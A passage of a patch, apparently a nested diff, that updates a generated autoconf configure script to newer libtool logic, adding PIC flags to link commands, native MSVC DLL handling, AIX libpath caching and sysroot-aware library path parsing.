++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -10574,9 +11174,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -11152,8 +11752,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -11186,13 +11787,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -12094,7 +12753,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 12097 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -12138,10 +12797,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12200,7 +12859,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 12203 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -12244,10 +12903,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12639,6 +13298,7 @@ $RM -r conftest*
+
+ # Allow CC to be a program name with arguments.
+ lt_save_CC=$CC
++ lt_save_CFLAGS=$CFLAGS
+ lt_save_LD=$LD
+ lt_save_GCC=$GCC
+ GCC=$GXX
+@@ -12656,6 +13316,7 @@ $RM -r conftest*
+ fi
+ test -z "${LDCXX+set}" || LD=$LDCXX
+ CC=${CXX-"c++"}
++ CFLAGS=$CXXFLAGS
+ compiler=$CC
+ compiler_CXX=$CC
+ for cc_temp in $compiler""; do
+@@ -12938,7 +13599,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ allow_undefined_flag_CXX='-berok'
+ # Determine the default libpath from the value encoded in an empty
+ # executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -12951,22 +13618,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+@@ -12979,7 +13653,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath__CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -12992,22 +13672,29 @@ main ()
+ _ACEOF
+ if ac_fn_cxx_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath__CXX"; then
++ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath__CXX
++fi
+
+ hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -13050,29 +13737,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+
+ cygwin* | mingw* | pw32* | cegcc*)
+- # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
+- # as there is no search path for DLLs.
+- hardcode_libdir_flag_spec_CXX='-L$libdir'
+- export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
+- allow_undefined_flag_CXX=unsupported
+- always_export_symbols_CXX=no
+- enable_shared_with_static_runtimes_CXX=yes
+-
+- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- # If the export-symbols file already is a .def file (1st line
+- # is EXPORTS), use it as is; otherwise, prepend...
+- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+- cp $export_symbols $output_objdir/$soname.def;
+- else
+- echo EXPORTS > $output_objdir/$soname.def;
+- cat $export_symbols >> $output_objdir/$soname.def;
+- fi~
+- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+- else
+- ld_shlibs_CXX=no
+- fi
+- ;;
++ case $GXX,$cc_basename in
++ ,cl* | no,cl*)
++ # Native MSVC
++ # hardcode_libdir_flag_spec is actually meaningless, as there is
++ # no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX=' '
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=yes
++ file_list_spec_CXX='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds_CXX='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, CXX)='true'
++ enable_shared_with_static_runtimes_CXX=yes
++ # Don't use ranlib
++ old_postinstall_cmds_CXX='chmod 644 $oldlib'
++ postlink_cmds_CXX='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ func_to_tool_file "$lt_outputfile"~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # g++
++ # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
++ # as there is no search path for DLLs.
++ hardcode_libdir_flag_spec_CXX='-L$libdir'
++ export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
++ allow_undefined_flag_CXX=unsupported
++ always_export_symbols_CXX=no
++ enable_shared_with_static_runtimes_CXX=yes
++
++ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
++ archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ # If the export-symbols file already is a .def file (1st line
++ # is EXPORTS), use it as is; otherwise, prepend...
++ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ cp $export_symbols $output_objdir/$soname.def;
++ else
++ echo EXPORTS > $output_objdir/$soname.def;
++ cat $export_symbols >> $output_objdir/$soname.def;
++ fi~
++ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
++ else
++ ld_shlibs_CXX=no
++ fi
++ ;;
++ esac
++ ;;
+ darwin* | rhapsody*)
+
+
+@@ -13178,7 +13911,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ ;;
+ *)
+ if test "$GXX" = yes; then
+- archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ # FIXME: insert proper C++ library support
+ ld_shlibs_CXX=no
+@@ -13249,10 +13982,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
++ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+ ;;
+ esac
+ fi
+@@ -13293,9 +14026,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ *)
+ if test "$GXX" = yes; then
+ if test "$with_gnu_ld" = no; then
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ else
+- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
+ fi
+ fi
+ link_all_deplibs_CXX=yes
+@@ -13573,7 +14306,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ *)
+- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ ;;
+ esac
+
+@@ -13619,7 +14352,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ archive_cmds_need_lc_CXX=yes
+ no_undefined_flag_CXX=' -zdefs'
+@@ -13660,9 +14393,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+ no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
+ if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
++ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+ archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+ # Commands to make compiler produce verbose output that lists
+ # what "hidden" libraries, object files and flags are used when
+@@ -13798,6 +14531,13 @@ private:
+ };
+ _LT_EOF
+
++
++_lt_libdeps_save_CFLAGS=$CFLAGS
++case "$CC $CFLAGS " in #(
++*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
++*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
++esac
++
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+@@ -13811,7 +14551,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ pre_test_object_deps_done=no
+
+ for p in `eval "$output_verbose_link_cmd"`; do
+- case $p in
++ case ${prev}${p} in
+
+ -L* | -R* | -l*)
+ # Some compilers place space between "-{L,R}" and the path.
+@@ -13820,13 +14560,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ test $p = "-R"; then
+ prev=$p
+ continue
+- else
+- prev=
+ fi
+
++ # Expand the sysroot to ease extracting the directories later.
++ if test -z "$prev"; then
++ case $p in
++ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
++ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
++ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
++ esac
++ fi
++ case $p in
++ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
++ esac
+ if test "$pre_test_object_deps_done" = no; then
+- case $p in
+- -L* | -R*)
++ case ${prev} in
++ -L | -R)
+ # Internal compiler library paths should come after those
+ # provided the user. The postdeps already come after the
+ # user supplied libs so there is no need to process them.
+@@ -13846,8 +14595,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
+ postdeps_CXX="${postdeps_CXX} ${prev}${p}"
+ fi
+ fi
++ prev=
+ ;;
+
++ *.lto.$objext) ;; # Ignore GCC LTO objects
+ *.$objext)
+ # This assumes that the test object file only shows up
+ # once in the compiler output.
+@@ -13883,6 +14634,7 @@ else
+ fi
+
+ $RM -f confest.$objext
++CFLAGS=$_lt_libdeps_save_CFLAGS
+
+ # PORTME: override above test on systems where it is broken
+ case $host_os in
+@@ -13918,7 +14670,7 @@ linux*)
+
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # The more standards-conforming stlport4 library is
+ # incompatible with the Cstd library. Avoid specifying
+ # it if it's in CXXFLAGS. Ignore libCrun as
+@@ -13983,8 +14735,6 @@ fi
+ lt_prog_compiler_pic_CXX=
+ lt_prog_compiler_static_CXX=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ # C++ specific cases for pic, static, wl, etc.
+ if test "$GXX" = yes; then
+@@ -14089,6 +14839,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ esac
+ ;;
++ mingw* | cygwin* | os2* | pw32* | cegcc*)
++ # This hack is so that the source file can tell whether it is being
++ # built for inclusion in a dll (and should export symbols for example).
++ lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
++ ;;
+ dgux*)
+ case $cc_basename in
+ ec++*)
+@@ -14241,7 +14996,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ ;;
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ lt_prog_compiler_pic_CXX='-KPIC'
+ lt_prog_compiler_static_CXX='-Bstatic'
+@@ -14306,10 +15061,17 @@ case $host_os in
+ lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
+-$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic_CXX+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic_CXX=$lt_prog_compiler_pic_CXX
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_CXX" >&5
++$as_echo "$lt_cv_prog_compiler_pic_CXX" >&6; }
++lt_prog_compiler_pic_CXX=$lt_cv_prog_compiler_pic_CXX
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -14367,6 +15129,8 @@ fi
+
+
+
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -14544,6 +15308,7 @@ fi
+ $as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
+
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+ case $host_os in
+ aix[4-9]*)
+ # If we're using GNU nm, then we don't want the "-C" option.
+@@ -14558,15 +15323,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
+ ;;
+ pw32*)
+ export_symbols_cmds_CXX="$ltdll_cmds"
+- ;;
++ ;;
+ cygwin* | mingw* | cegcc*)
+- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;/^.*[ ]__nm__/s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ case $cc_basename in
++ cl*) ;;
++ *)
++ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms_CXX='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
++ ;;
++ esac
++ ;;
+ *)
+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ ;;
+ esac
+- exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
+
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
+ $as_echo "$ld_shlibs_CXX" >&6; }
+@@ -14829,8 +15599,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
